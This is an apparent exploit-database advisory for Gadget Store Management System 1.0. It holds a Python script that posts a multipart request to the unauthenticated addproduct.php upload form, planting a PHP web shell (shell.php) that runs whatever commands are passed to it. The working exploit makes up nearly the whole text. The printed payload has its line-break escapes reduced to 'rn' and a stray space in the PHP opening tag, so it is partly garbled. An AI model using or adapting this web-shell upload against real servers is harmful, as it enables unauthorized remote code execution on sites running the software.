Exploit/Advisories

# Exploit Title: Gadget Store Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.campcodes.com/
# Software Link: https://www.campcodes.com/projects/php/gadget-store-management-system/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz

*- url "http://localhost:80/gadgetsdb/addproduct.php"
*- Path File : http://localhost/gadgetsdb/upload/shell.php

---------------------------------------------------

#!/bin/env python3
import requests

print ('''
####################################################################################################
# Gadget Store Management System 1.0 - Remote Code Execution (Unauthenticated) #
# BY:Saud Alenazi #
# 0xSaudi #
####################################################################################################
''')

url = "http://localhost:80/gadgetsdb/addproduct.php"

saud0 = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------4587377838466971711694098865", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/gadgetsdb/product.php", "Upgrade-Insecure-Requests": "1"}
saud1 = "-----------------------------4587377838466971711694098865rnContent-Disposition: form-data; name="pname"rnrntestrn-----------------------------4587377838466971711694098865rnContent-Disposition: form-data; name="category"rnrn4rn-----------------------------4587377838466971711694098865rnContent-Disposition: form-data; name="price"rnrn100rn-----------------------------4587377838466971711694098865rnContent-Disposition: form-data; name="photo"; filename="shell.php"rnContent-Type: application/x-phprnrn< ?phprnif($_REQUEST['s']) {rn system($_REQUEST['s']);rn } else phpinfo();rn?>rnrnrnrn-----------------------------4587377838466971711694098865--rn"
requests.post(url, headers=saud0, data=saud1)

Comments are closed.